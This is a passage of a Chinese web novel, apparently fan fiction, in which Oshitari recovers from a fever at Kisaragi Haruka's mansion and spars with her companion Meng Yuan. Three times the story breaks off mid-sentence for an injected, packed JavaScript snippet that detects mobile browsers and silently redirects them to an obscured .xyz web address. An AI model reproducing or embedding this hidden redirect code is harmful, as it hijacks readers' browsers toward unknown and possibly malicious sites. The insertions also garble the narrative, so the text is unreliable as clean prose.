体温计发出提示音。 如月遥伸手取出,看了一眼屏幕,紧蹙的眉头略微松开了一些。 然而,当她看向忍足时,眼里覆上了一层寒霜。 “在学校烧到39.8°,”她报出那个惊人的数字,声音冷得像冰锥,“再努力一下……” 她微微倾身,凑近了些,那张清冷的脸在忍足因发烧而模糊的视线中带着惊心动魄的锐利: “天才也可以烧成傻子。” 明明是堪称恶毒的嘲讽,忍足却从语调里,清晰感受到了她压抑的担忧。 他的心像是被什么东西轻轻撞了一下,酸酸软软的。 乖乖地躺着,绝不反驳, “多谢大小姐照顾……” “我会…绝对听话……” 如月遥看着他这副虚弱又乖巧的样子,哼了一声。 转身拿起玻璃杯,从保温壶里倒了大半杯温水。 水杯递到他唇边,动作依旧带着点不耐烦,但那递水的手却稳稳当当。 “喝。” 只有一个字,却让忍足的眼眶有些发热。 抬起身体,就着她的手,小口地喝着水。 水流滑过干涩灼痛的喉咙,带来难以言喻的舒适,他悄悄抬眼,看着近在咫尺的侧脸。 灯光下,她长长的睫毛在眼下投下一小片阴影,鼻梁挺直,樱唇紧抿。 明明是那样冰冷的一个人,让忍足觉得,此刻这间空旷的房间,也被她点滴的暖意,悄悄点亮了。 忍足靠在柔软厚实的床头枕上,视线有些模糊,但意识清醒了许多。 如月遥走近,弯腰,手臂绕过他的肩膀,动作算不上温柔,却异常精准地调整着他身后的靠枕位置,将它垫得更高、更贴合支撑他的后背。 雪松拂过他的耳畔和颈侧,让忍足的心跳又不自觉地加快了几分,如同融化开的蜜糖,丝丝缕缕地渗透进他的四肢百骸。 如月遥做完这一切,面不改色地坐回了床边的单人扶手椅里。 双腿交叠,姿态优雅, “医生说,你是着凉加上极度疲劳导致的免疫力崩溃。” 声音在安静的房间里显得格外清晰,审视地看着忍足,“你最近在忙什么?” 忍足心虚。 那些连轴转、压榨极限的日程表瞬间在脑海里翻滚:深夜的医学模型、清晨的体能训练、见缝插针的中文课、周末厨房的灾难现场…… 这些绝对不能让她知道。 下意识地避开了审视的目光,喉咙干涩地咳了一声,找了个最安全的理由。 “医学部最近有个很重要的课题在攻坚阶段……” “大概有点……累着了……” 如月遥静静地看着他,房间里只有香炉里袅袅升起的淡烟在无声浮动,目光穿透他苍白的辩解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526657|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几秒后,她极其轻微地挑了一下眉尖。 “劳逸结合也要我教你?” 明明是质问,忍足却从中听出了那层薄冰之下的关切。 立刻像抓住救命稻草般,摆出最受教的模样,连连点头:“大小姐教训的是。” 信誓旦旦地保证: “我一定合理改善作息计划,保证好好休息。” 如月遥对他的保证不置可否,伸手从床头柜上拿起忍足的手机,递给他。 “震动了一下午,吵死了。” “我嫌烦,关静音了。” “有人给你打过电话,名字是……” 她似乎在回忆,带着点不确定,“北川老师?” 北川老师。 忍足脑子里瞬间犹如千军万马奔腾而过。 那是迹部介绍给他的中文老师,是他准备用来“请教”大小姐的“秘密武器”,绝对不能暴露。 忍足强装镇定,声音带着恰到好处的“恍然”和“学术性”的困扰,“是我们医学部的一位讲师。” 他语速略快,试图增加可信度,“可能…是找我讨论课程或者实验数据的事吧?最近那个课题确实比较棘手……” 他一边说着,一边伸手接过手机,指尖因为紧张而微微发凉。 房间内厚重又质感极佳的窗帘,将外面的光线完全隔绝,只营造出一种恒定的、宁静的黄昏感。 “大小姐,下午你没课吗?” 如月遥闻言,秀气的眉梢再次挑起一个充满讥诮意味的弧度。 “下午?”她的冷嘲,“现在是晚上六点了。” 目光落回忍足那副完全懵了的脸上,语气凉飕飕的: “烧迷糊了?时间概念都丢了?” 什……什么?! 晚上六点?! 忍足再次看向那隔绝了外界光线的窗帘,这才惊觉它营造出的宁静黄昏感有多么强的欺骗性。 他昏迷了?! 整整六个多小时?!! 看着忍足那副震惊到失语的样子,如月遥拿起一片新的退热冰贴。 “下次再把自己搞成这样……” “死了都没人管你。” 话音落下的同时,动作利落。 啪! 一声脆响! 那片冰凉刺骨的凝胶冰贴,被她毫不留情、精准无比地狠狠拍在了忍足滚烫的额头上。 “嘶——” 忍足被突如其来的、带着强大冲击力的冰凉刺激得猛地倒抽一口冷气,整个人都哆嗦了一下,额头上火辣辣的疼和冰爽交织在一起,感觉像是被一块冰砖砸中。 他捂着自己受创的额头,泪眼汪汪地看着如月遥。 大小姐这手劲…… 是真的大啊! 56. 第 56 章 笃笃笃。 规律的敲门声打破了房间里的静谧。 “进。” 如月遥头也没抬,目光依旧落在忍足额头那片冰贴上,似乎在评估效果。 门被推开。 孟远的身影出现在门口,带着惯常的温润:“阿遥,饭……” 话音未落,却戛然而止。 黑眸如同冻结的寒潭,牢牢锁定了床上那个绝对不该出现在这里的人。 忍足侑士!? 正半靠在床头,额头上滑稽地贴着冰贴,脸色苍白,眼神因发烧而带着几分迷蒙的水汽,罕见的脆弱。 孟远的笑容消失,取而代之的是错愕。 转向如月遥,质疑发问:“他怎么在这里?” “他病了。” “病了?”像是听到了匪夷所思的事情,声音拔高了几分。 “病了不该去医院吗?或者回他自己家?” 气氛变得剑拔弩张。 忍足深谙“以退为进”的精髓,更知道如月遥吃软不吃硬、面冷心热的特质。 他心里冷笑,面上却立刻摆出了一副虚弱无力却又伪装坚强的表情。 “咳咳……” 恰到好处地咳嗽了两声,脸颊因用力而泛起不正常的红晕。 挣扎着撑起身体,动作显得格外吃力,仿佛随时会倒下,声音沙哑而带着歉意。 “抱歉……孟君说得对……是我打扰了……” 努力想掀开被子下床,动作笨拙又迟缓:“孟君这么介意的话,我……回去也行……” 积蓄最后一点力气,声音低低的,带着点孤零零: “家里人都出去旅游了……家里很安静……我自己休息就好……” 他把“家里没人”、“独自休息”这几个字咬得格外清晰。 孟远:“……” 他看着忍足这副“风中残烛”、“坚强小白花”的演技,邪火直冲头顶。 这老狐狸!居然玩这套! 果然。 “你动一个试试?” 如月遥冰冷的声音如同冰锥,瞬间刺穿了房间里的空气。 三个字,杀气腾腾,掷地有声。 “腿打断。” 忍足的动作僵住,抬起 带着水汽的眼眸,无辜又茫然地看了看一脸怒容的孟远,又怯怯地望向浑身散发着“你敢动就死定了”气息的如月遥。 如月遥直接将冰冷的炮火转向了孟远:“让他躺着。” 如同在嘲讽孟远的多管闲事:“家里没人,回去等死啊?” 最后,她那双极具压迫感的眸子冷冷地扫向孟远,明显地警告:“你是不是最近太闲了?话这么多?” 孟远被这一连串的炮火轰得哑口无言。 他太清楚如月遥的脾气了,再争辩下去,倒霉的绝对是自己,憋屈堵在胸口,他狠狠地瞪了一眼床上那个“柔弱不能自理”的忍足。 你给我等着。 最终,孟远垂下视线,声音不甘: “……下楼吃饭了。” 说完转身快步离开了,背影都写满了晦气。 房间再次陷入安静。 此刻的忍足侑士,顺从地靠在枕头上,因为摘掉了那副标志性的平光眼镜,那双眼眸显得格外清晰。 因为发烧而失去了平日的沉稳慵懒,反而蒙上了一层水雾,破碎又柔弱。 “待会让人给你送饭上来。” 她移开目光,声音依旧冷淡,像是在解释又像是在强调。 “吃饱了才有力气恢复。” 说完,她也离开了房间。 咔哒。 门被轻轻关上。 忍足静静地靠在床头,听着远去的脚步声消失在走廊尽头。 几秒钟后。 他那苍白紧抿的唇角,终于抑制不住地向上勾起一个细微又满意的弧度。 所有的脆弱、无辜、茫然瞬间褪去,只剩下如同狡猾狐狸般、得逞后的亮晶晶的光芒。 他放松身体,陷进柔软蓬松的枕头里,感受着房间里属于她的清冷气息。 嗯…… 这一局。 完胜。 冰凉的贴片似乎真的开始发挥作用,混沌的大脑清醒了不少。 拿起手机,屏幕解锁,信息如潮水般汹涌而至,震得他本就虚弱的指尖都有些发麻。 强打起精神,开始处理这些堆积的信息。 首先是医学部教授发来的几封邮件,关于课题模型的几个关键参数调整建议和新的数据要求。 忍足眯着还有些酸涩的眼睛,快速浏览,敲击回复,思路清晰,措辞严谨,完全看不出是个高烧刚退的病人,专业素养早已刻进了骨子里。 接着是迹部的“问候”,大少爷显然憋了一肚子火,信息如同连珠炮: 【忍足侑士!你最好给本大爷一个合理的解释!】 【中午的午餐之约你人呢?!放本大爷鸽子?!】 【下午的练习赛你又人间蒸发?!啊嗯?!】 【你是被外星人绑架了还是掉进东京湾了!】 隔着屏幕都能感受到迹部大爷那喷薄而出的怒火,以及被连续放鸽子的屈辱感。 忍足无奈地揉了揉眉心,指尖带着点虚弱的颤抖,简短回复: 【抱歉,迹部。】 【病了,高烧。】 信息刚发出去不到十秒,立刻有回复: 【怎么回事?严重吗?】 【嗯,发烧。39.8度。】 他顿了顿,指尖在屏幕上悬停片刻,然后带着一种近乎炫耀的语气,敲下了最关键的: 【被大小姐带回家了。】 【现在在她家里。】 信息发送。 几秒钟死寂般的沉默。 迹部似乎被信息量冲击得有些语无伦次,过了好一会儿,才发来一句充满了复杂情绪的回信: 【真会生病啊你。】 忍足差点笑出声,牵动了还有些酸痛的喉咙,忍不住咳了两声。 【嗯哼,还顺便让孟君吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526658|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个哑巴亏。他气走了。】 这次回复得很快,毫不掩饰的赞赏: 【嗯。不愧是你。】 【这才是关西天才该有的风采!】 忍足笑了笑,关掉了和迹部的聊天框。 下一条是北川老师发来的信息,询问今天的中文课是否照常。 忍足连忙回复,真诚的歉意:【北川老师,非常抱歉,今天临时有急事耽误了,课程能否取消?】 【OK,下次再约。】 再往下翻,是姐姐忍足惠里奈发来的信息,附带了几张阳光灿烂、碧海蓝天的照片——父母和她正在澳大利亚享受假期。 【小侑!看!黄金海岸的日出!美吧!】 【爸妈问你生日快到了,想要什么礼物?随便挑!姐姐买单!(土豪.jpg)】 看着照片里家人灿烂的笑容,忍足心里涌起一股暖流。 【玩得开心!注意安全!】 【礼物姐姐看着买就好,我都喜欢。】 处理完所有信息,忍足长长地舒了一口气,感觉又疲惫了几分,放下手机,靠在枕头上闭目养神。 笃笃。 敲门声响起。 “请进。”忍足睁开眼。 门被推开,一位穿着素雅的中年女仆推着餐车走了进来。 “忍足少爷,”女仆微微躬身,声音轻柔,“小姐吩咐给您准备的晚餐。” 一股浓郁、带着米香和鲜甜气息的热气扑面而来。 “这是生滚鱼片粥,”女仆介绍道,用汤勺轻轻搅动,露出里面雪白软糯的米粒和嫩滑的鱼片。 “用新鲜鲷鱼片和瑶柱熬的底,加了姜丝去腥暖胃。” 她又揭开旁边几个小碟的盖子:“这是清炒时蔬,少油少盐。” “这是玉子烧,加了点高汤,比较软嫩。” “还有一小碟酱瓜,开胃爽口。” “小姐特意交代,要清淡、营养、好消化,适合病人。” 忍足的目光落在那些精致的食物上。 生滚鱼片粥是他最喜欢的粥品之一,尤其是身体不舒服的时候。 清炒的时蔬,是当季最新鲜的芦笋和荷兰豆,翠绿欲滴。 玉子烧金黄软嫩,一看就火候正好。 酱瓜也是他吃粥时习惯搭配的小菜。 每一道菜,都精准地踩在他的喜好和需求上,清淡,不油腻,却充满了用心。 熨帖的暖流混合着食物蒸腾的热气,瞬间包裹了他。 那暖意不仅仅来自胃,更来自心底最柔软的地方。 他小口小口地吃着,不仅仅是因为身体虚弱,更是因为这份看似简单却无比体贴的晚餐,让他心底某个角落,酸酸软软。 她在每一次和他出去吃饭的时候,记住了他的喜好,记住了他的口味,记住了他的习惯。 她从不多言,却都一一记在心里。 那位清冷疏离、总是用嫌弃和毒舌武装自己的大小姐…… 是这么细心的一个人啊。 57. 第 57 章 用过晚餐,精神也好了不少。 “38度。”医生收起体温计,语气轻松了些。 “高烧压下去了。按时吃药,好好休息一晚,明天应该就能退烧了。” “谢谢医生。”忍足依旧有些沙哑,但明显有了点力气。 医生刚离开,房门再次被轻轻敲响。 一辆像小型移动衣橱般的推车,两位女仆动作轻巧地将推车推进房间,然后恭敬地退到一旁。 忍足的目光落在推车上,有些发直。 推车上,衣物被分门别类、叠放得整整齐齐。 柔软的深色睡衣、舒适透气的棉质居家服、剪裁精良的衬衫、触感细腻的羊绒衫、挺括的外套和长裤…… 甚至…… 忍足的目光扫过最上面一层,几件崭新的、叠得方方正正的男士贴身内裤,正安静地躺在那里。 这……这阵仗…… 熟悉的大小姐架势。 服装大礼包齐全得令人发指。 就在他内心暗自雀跃时,门口的光线被一道颀长的身影挡住。 孟远回来了,斜靠在门框上。 黑眸扫过房间里满载衣物的推车,又扫过床上那个虽然脸色苍白、但眼神明显亮了不少的忍足。 孟远内心咆哮:这包养的架势也太足了吧!连……连那种东西都准备了?! 然而,他面上依旧维持着云淡风轻的假面,仿佛眼前这“鸠占鹊巢”还附带“全套装潢”的一幕再寻常不过。 声音温和如同闲聊, “忍足君…听说你有个外号,叫‘关西狼’?” “我现在看着……” “倒真觉得,阿遥是引狼入室了呢。” 忍足脸上的虚弱收敛了几分。 平静地迎上孟远审视的目光,嘴角甚至勾起一个同样温和、却带着针锋相对意味的浅笑,惊讶道,“哦?” “孟君似乎对我很关注?” “连这种不太常用的外号都知道。” 孟远看着他瞬间从“病弱小白花”切换到“沉稳老狐狸”的样子,心里暗骂: 装。 接着装。 刚才那副要死不活的样子果然是演出来的绿茶。 心机男! 他面上笑容不变,语气淡然,“阿遥她啊……” “面冷心热,对路边受伤的阿猫阿狗都看不过眼,会带回来照顾的。” “所以同学生病,照顾一下也很正常。” 言下之意,你忍足侑士,在她眼里,和路边捡的流浪猫狗没区别。 忍足脸上的笑容加深了。 “是啊……”他轻轻点头,声音低沉而清晰,“她有这份心意……” “…比什么都珍贵。” 这句话,如同无声的宣告,清晰地传递着一个信息: 无论你孟远如何贬低,这份来自如月遥的“心意”,在他忍足侑士这里,就是无价之宝。 并且这份心意,已经代表着他在她心里占据了一席之地。 孟远脸上的笑容终于僵了一下,随即发出一声短促而冰冷的嗤笑。 “呵。”他上下打量着忍足依旧带着病容的脸,语气带着毫不掩饰的轻蔑。 “忍足君这么‘虚’……” 他刻意加重了“虚”字:“还没正式开战呢,就倒下了?” 忍足非但没有动怒,反而露出了“纯良”的表情。 他微微歪头,眼里闪烁着狡黠的光芒,声音却刻意困惑: “还没开战吗?” 他摊了摊手,动作自然,目光扫过这间客房,扫过那堆为他准备的衣物,最后落回孟远脸上,语气带着一种理所当然的得意。 “我不是已经……” “攻进城里,安心入住了吗?” 毫不掩饰的自信,笃定地写着“此地已归我所有”。 孟远不得不承认,这个男人是真的摸准了阿遥那吃软不吃硬、面冷心软的脾气。 动作够快,够狠,够准。 哒、哒、哒。 清晰而规律的脚步声由远及近。 如月遥的身影出现,显然是刚沐浴过, 肌肤显得更加白皙剔透。 “你在这里干什么?” 孟远瞬间收敛了所有外露的情绪,重新挂上温润无害的笑容,仿佛剑拔弩张从未发生。 “关心一下忍足君,”他语气自然,“他看起来好多了。” 如月遥显然不信,眉头蹙得更紧,“去干活。” 语气简洁,冰冷,没有丝毫余地。 孟远不再多言,顺从地垂下视线,应了一声:“是。” 踏步离开。 忍足也收敛了所有锋芒,重新变回那个虚弱但懂事的病人。 “多谢大小姐安排。” “衣服还有晚餐,都很好。” 如月遥并不在意他的感谢,只是“嗯”了一声。 她的视线在他依旧有些苍白的脸上停留片刻,“晚上如果又烧起来,或者有什么需要……” 她指了指床头柜上一个精致的呼叫铃:“按铃就行。” “24小时有人轮班。” “知道了。” 目光落在如月遥还在滴水的发梢上,眉头蹙了一下。 声音放得很轻,带着关切,“刚洗过澡,头发还在滴水……” “快回房间休息吧,别着凉了。” 房门轻轻合上。 忍足侑士在如月家客房的“静养”生活,以一种超乎想象的速度和舒适度展开了。 请了几天病假,他心安理得地在这个“安全屋”里扎根下来。 白天,如月遥和孟远准时出门去上课,偌大的宅邸变得格外安静。 忍足便处理医学部的邮件和课题资料,笔记本电脑屏幕的微光映着他日渐恢复血色的脸。 效率意外地高,大概是因为环境安逸,也少了孟远那无处不在的审视目光。 怕他在房间里关久了闷出毛病,如月遥某天早上出门前,头也没回地甩下一句: “穿多点。” “花园…可以去走走。” 于是很快,如月家那片被打理得如同艺术品般的精致花园一角,便多了一个“专属座位”。 舒适的藤编单人椅,铺着厚厚的、触感柔软昂贵的羊绒毯子。 旁边的矮几上,放着热气氤氲、温度刚好的红茶。 甚至,如月遥还从自己那堪比小型图书馆的书房里,挑了几本装帧古朴的英文原版古典文学和哲学论著,放在了矮几上。 “无聊就看看。” 她放下书的时候,语气平淡得像在吩咐女仆添置茶具。 这几本书比任何灵丹妙药都有奇效。 夜晚的餐桌则成了无声的战场。 忍足作为“重点关照对象”,享有专属的“病人餐”,清淡精致、营养均衡,但花样翻新,明显是花了心思。 而孟远则和如月遥一起吃着同样顶级、但显然没有“特殊待遇”的晚餐。 每次看着忍足面前那碗冒着热气的滋补汤羹或精致的小菜,再看看自己面前“普通”的牛排或鱼排,孟远总会控制不住地翻一个巨大的白眼。 偏心偏到太平洋去了! 忍足自然是选择性无视,心安理得地享受着病号的特殊待遇,身体也以肉眼可见的速度恢复着往日的精气神。 这天晚上,餐桌上气氛还算平和。 如月遥随口提起:“今天,迹部找我。” “说学园祭,请我表演。” 忍足放下汤匙,“他也给我发信息了。” “让我表演小提琴。” 如月遥叉起一小块蔬菜,送入口中,细嚼慢咽,她似乎对“表演”本身没什么概念,“学园祭是什么?” 这对从未经历过日本校园生活的她来说,确实是个陌生的词汇。 忍足放下刀叉,认真地解释起来,“这是日本高校的传统节日,每年这个时候,学校会对校外开放,展示学生活动和社团成果。” 他尽量说得简洁明了,“有点像大型的文化祭典。有很多表演、摊位、活动,很热闹。” “哦。”如月遥应了一声,继续低头吃东西。 “那……大小姐答应了吗?” 他知道如月遥对这类“抛头露面”的活动向来没什么兴趣。 如月遥咀嚼的动作停顿了一下,没有立刻回答。 而是抬起眼,目光越过忍足,落在了对面用餐的孟远身上。 那眼神平静无波,只有他们彼此才懂的交流。 仅仅是一瞥,快得几乎让人以为是错觉,然后收回目光,“答应了。” 答应了? 因为迹部? 还是因为…刚才那一眼? 他面上不动声色,保持着温和的笑意,转向了对面的孟远: “孟君呢?” “学园祭,孟君这么优秀,应该也有节目吧?” 孟远:“……” 他握着刀叉的手一顿,餐刀在瓷盘上划出刺耳的声响。 黑曜石般的眼眸死死盯住忍足那张人畜无害的脸。 这家伙,绝对是故意的! 这个心机深沉的老狐狸! 在如月家养病的这几天,他早就通过各种“不经意”的闲聊和观察,精准地打探到了一个情报。 孟远,智商情商体能都一流的全能型选手,唯一的、致命的短板就是:音乐。 他是彻头彻尾的音痴。 五音不全。 节奏感为零。 连最简单的乐器都无法驾驭。 让他表演? 那简直就是公开处刑! 忍着当场掀桌的冲动,孟远强行压下翻涌的气血,脸上重新挤出假笑,只是声音有点僵硬: “我对表演没什么兴趣。” 努力让自己的语气听起来轻松随意,试图找回一点场子:“负责后勤就好。” “哦……”忍足恍然大悟,眼里闪烁着理解的光芒。 “孟君果然顾全大局。” “后勤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526659|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实很重要呢。” 孟远只觉得胸口一阵发闷,死死捏着叉子,指关节都泛白了。 看着忍足那副“精准打击”还一脸无辜的样子,让孟远觉得盘子里的顶级和牛都失去了滋味。 狠狠瞪了忍足一眼,用叉子泄愤般地戳着食物,仿佛那是忍足那张可恶的笑脸。 孟远跟着如月遥走进书房,木门在身后轻轻合拢,隔绝了外面的世界。 温润如玉的假面再也维持不住,眉头紧锁,带着明显的不悦。 如月遥径直走到宽大的沙发前坐下, 淡淡地扫过孟远紧绷的脸色,“你怎么了?” 孟远最终还是没忍住:“阿遥。” “你不觉得……你对那个忍足侑士,有点太好了吗?” “带他回家,给他安排专属病人餐,送那么多衣服,让他住客房养病,花园随便逛,看书随便拿……” 他越说越快,最后归结为一句核心指控: “这已经完全超出照顾一个生病同学的范畴了!” 如月遥甚至连眼皮都没抬,在孟远话音落下的间隙里,理所当然到近乎霸道地吐出三个字:“我乐意。” 孟远:“……” 所有酝酿好的质问和不满,瞬间被这三个字堵得严严实实,一股气憋在胸口,上不去下不来,噎得他差点背过气去。 他看着沙发上姿态慵懒却气场强大的大小姐,内心只剩下无声的咆哮: 是了! 他怎么忘了! 大小姐的脾气向来如此! 天大地大,都是她乐意最大! 她决定的事情,旁人质疑? 那就是自讨没趣! 孟远挫败地闭了闭眼,强行压下翻腾的情绪,重新睁开眼时,已经恢复了惯常的冷静和专注。 定了定神,开始谈正事:“学园祭表演的事?” 如月遥身体微微前倾,眼里闪烁着算计光芒,“嗯,正好加点料。” 指尖在光滑的书桌上轻轻敲击着:“只有我在日本过得风生水起,乐不思蜀……” “他们才会觉得,我的心思已经完全被这边转移了。” “警惕心放下了,才好动手。” 孟远点点头,脸上露出一丝了然,“和我猜的一样。” “一切都很顺利。钉子都布置好了,诱饵也洒下去了。” “只要这次,他们打定主意动手……” 孟远的声音低沉下来,带着狩猎般的兴奋: “就一定会落入我们准备好的圈套。” “嗯。” 书房里陷入短暂的沉默。 如月遥拿起放在一旁的手机,解锁,指尖划过屏幕。 相册里存档不多。其中一张,是她和水谷雅子在轻井沢度假时的合影。 照片上,水谷雅子笑容甜美灿烂,亲昵地挽着她的手臂。背景是轻井沢葱郁的森林和古老的教堂尖顶。 目光停留在水谷雅子的脸上,那双总是带着笑意的眼睛…… 关掉屏幕,将手机放到一边。 有些路一旦踏上,就没有回头的余地。 与此同时,忍足正和迹部进行着视频通话。 华丽的迹部大爷即使隔着屏幕,也依旧气势逼人。 眼眸扫过忍足明显红润了许多的脸颊,哼了一声: “看样子,大小姐家的‘病号餐’和‘花园’很养人啊?” 忍足推了推眼镜,深漾开温和的笑意,坦然接受好友的调侃。 “托福,康健如初。明天就回学校了。” “那就好。” 迹部切入正题,“学园祭,本大爷给你的任务收到了?” “小提琴独奏,没问题。” 忍足点头。 “独奏?” “难道你就没想过,邀请你的大小姐来个双人演奏?” “本大爷可以给你们安排最好的舞台和编曲。” 双人演奏,和如月遥同台。 这个念头几乎瞬间点燃了他眼中的光芒,那画面光是想想就令人心驰神往。 然而理智很快压下翻涌的渴望,他太了解如月遥。 “当然想过,”忍足渴望却也绝对清醒,“但是……” “一切……听她的意愿。” 他不会在她没有明确意愿的情况下,擅自安排,尤其是在这种公开场合。 迹部看着他这副忠犬模样,嗤笑一声,倒也没再强求。 他转而说道: “三天后,本大爷的生日宴会,邀请函你应该收到了吧?” “嗯,准时到。” “如月那边,本大爷也单独发了邀请函。” “没请孟远。” 华丽的声音带着助攻的意味:“你带她过来。” 迹部生日宴,带如月遥出席。 这简直是把他往“正牌男友”的位置上推。 忍足脸上瞬间绽放出无比感激的笑容, “谢了!” 屏幕那头,迹部景吾优雅地举了举杯,“本大爷只能帮你到这了。” 58. 第 58 章 清晨的阳光透过落地窗,洒在大理石地面上。 忍足侑士早已穿戴整齐,神清气爽地站在玄关处,拿着车钥匙,视线锁定楼梯方向。 脚步声由远及近。 如月遥的身影出现,依旧是一身简约的打扮,长发束起,露出线条优美的颈项,如同初融的冰雪。 步履无声,却自带气场。 忍足脸上立刻漾开得体的笑容,上前一步:“大小姐,早。” 自然地伸出手,接过她手中那个轻便的包。 “车在外面。” 如月遥微微颔首,顺手将包递给他,目光扫过他明显恢复了神采的脸。 就在如月遥正要坐进去时—— “等等!” 清朗的声音匆忙响起。 孟远如同幽灵般出现,脸上带着无懈可击的笑容。 “正好顺路,搭个便车。” 他动作自然地绕过车头,无视了忍足有些僵硬的笑容,一把拉开了后排车门,长腿一迈,稳稳当当地坐了进去。 砰! 车门关上。 行云流水,一气呵成。 忍足:“……” 看着后座上笑得一脸无害的孟远,额角的青筋几不可察地跳了一下。 这家伙……绝对是故意的。 如月遥似乎对这种“强行搭车”的行为早已习惯,淡定地坐进副驾驶,系好安全带。 忍足压下心头那点不爽,发动车子。 车厢内有些安静。 后排的孟远似乎很放松,身体微微后仰靠在真皮座椅里。 然而,刚坐定没几秒,他的鼻翼就极其轻微地翕动了几下。 随即带着毫不掩饰的揶揄,目光落在驾驶座的后视镜上,正好对上忍足看过来的视线:“忍足君……” “你这车里的熏香,味道很熟悉啊?” “嗯……清冽,冷感,有点像松木和雪?” “真是巧了。” 忍足挂起无懈可击的绅士微笑,温和地看着后视镜里的孟远,声音沉稳悦耳:“是的,孟君嗅觉很敏锐。” 带着点询问意味地转向副驾驶的如月遥:“大小姐也觉得这个味道很不错,对吧?” 他巧妙地将问题抛给了如月遥,同时不动声色地宣示了这“熟悉味道”的最终评判权归属。 如月遥正看着窗外飞速倒退的街景,闻言转过头,扫了忍足一眼,又瞥了一眼后视镜里表情有些凝滞的孟远。 轻微地点了一下头。 足以成为最有力的佐证。 孟远看着后视镜里忍足那副“你看,大小姐也认证了”的得意笑容,差点没绷住。 这家伙不仅用了和阿遥一样的香水! 还得到了阿遥的默许! 甚至还拿阿遥的话来堵他?! 忍足从后视镜里清晰地捕捉到了孟远那一闪而逝的难看脸色,嘴角的弧度加深了几分。 嗯,心情更好了。 为了打破这带着火药味的沉默,忍足适时开口,“迹部生日的邀请函,你收到了吧?” “收到了。”如月遥应了一声,目光依旧看着窗外,“会去的。” 语气平淡,仿佛只是答应出席一个普通的会议。 忍足斟酌着措辞,“那到时候,我带你去?” 后排的孟远身体明显绷紧了,目光射向副驾驶的背影。 如月遥的视线终于从窗外收了回来,几秒后。 “好的。” 简单的回答却如同天籁。 “好。”忍足的声音带着难以掩饰的愉悦,握着方向盘的手都稳了几分。 孟远在后排,只觉得一口老血梗在喉头。 带她去?还这么理所当然? 他忍了又忍,终于找到一个切入点,脸上重新挂起温润的笑容,“忍足君的身体既然已经康复了。” 他看向忍足的后脑勺,语气“关切”,“久留在阿遥家里也不太合适吧?” 他这是在提醒忍足,该识趣点滚蛋了! 忍足闻言非常懂事地点点头:“孟君说得对。” “确实不太合适。” “今晚我就搬回去。” 孟远心里刚松了口气,暗道算你识相,然而忍足的下一句话,又让他警惕起来。 “至于那些衣服……”忍足的声音带着点恰到好处的困扰,目光看向如月遥。 后者连眼皮都没抬,低头看了看自己的指甲。 “都是你的。” “带回去。” “省得再着凉。” 孟远眼前一黑。 那些衣服,那些连内裤都准备齐全的衣服! 阿遥居然就这么…… 送!给!他!了?! 还“省得再着凉”?! 这关怀备至的语气…… 孟远感觉自己快要窒息了。 忍足表现得受宠若惊、感激涕零,语气真挚无比: “谢谢大小姐。太慷慨了!” 孟远在后排,后槽牙都快咬烂了,强行压下翻涌的气血。 不行! 不能就这么让他得意! 脑子飞速转动,试图在另一个方向找回场子。 “迹部少爷的生日宴会要穿礼服,忍足君向来品味卓绝,想必自己搭配起来肯定游刃有余,完全没问题吧?” 他这是在暗示忍足,别再想从阿遥这里捞好处了。 忍足正要顺着孟远的话“谦虚”一下,表示自己可以搞定,如月遥忽然开口了。 “你……” “…还是住到迹部生日宴结束吧。” 她给出了合理的解释,指尖在车窗边缘敲了敲, “到时候也不用从你家再跑来接我。” “衣服我就一起准备了。” 晴天霹雳直击孟远天灵盖。 住到生日宴结束? 还一起准备礼服? 这这这……这已经不是看似包养了! 这是要登堂入室、名正言顺地“同居”到宴会结束啊! 还要穿她准备的礼服? 这跟公开宣示主权有什么区别? 三连暴击,雷声滚滚,孟远张了张嘴,想说什么却发现喉咙像是被什么东西死死堵住,一个音节也发不出来。 忍足此刻的心情,只能用狂喜来形容,简直是天降馅饼! 意外之喜中的意外之喜! 他强忍着想要当场欢呼的冲动,努力维持着表面的平静。 “都听你的安排。” 车厢内,气氛诡异。 前排,忍足嘴角含笑,如月遥神色平静。 后排,孟远脸色铁青,胸口剧烈起伏,仿佛随时要原地爆炸。 车门打开,孟远带着一股怨气,动作僵硬地抱着法学典籍下了车。 他甚至没看二人一眼,步履沉重地朝着法学部的方向走去。 背影都散发着浓浓的“生人勿近”的低气压,头顶笼罩着一片小型雷暴云团。 忍足看着孟远“悲愤”离去的背影,嘴角的笑意无论如何也掩饰不住。 没有了那颗“强力电灯泡”,车内的空气似乎都清新舒畅了许多,连带着他的心情也飞扬起来。 两人一同下车,并肩走在铺满金色落叶的银杏大道上。 高大的银杏树如同披上了金色铠甲,阳光透过枝叶缝隙洒下,在两人身上投下斑驳的光影。 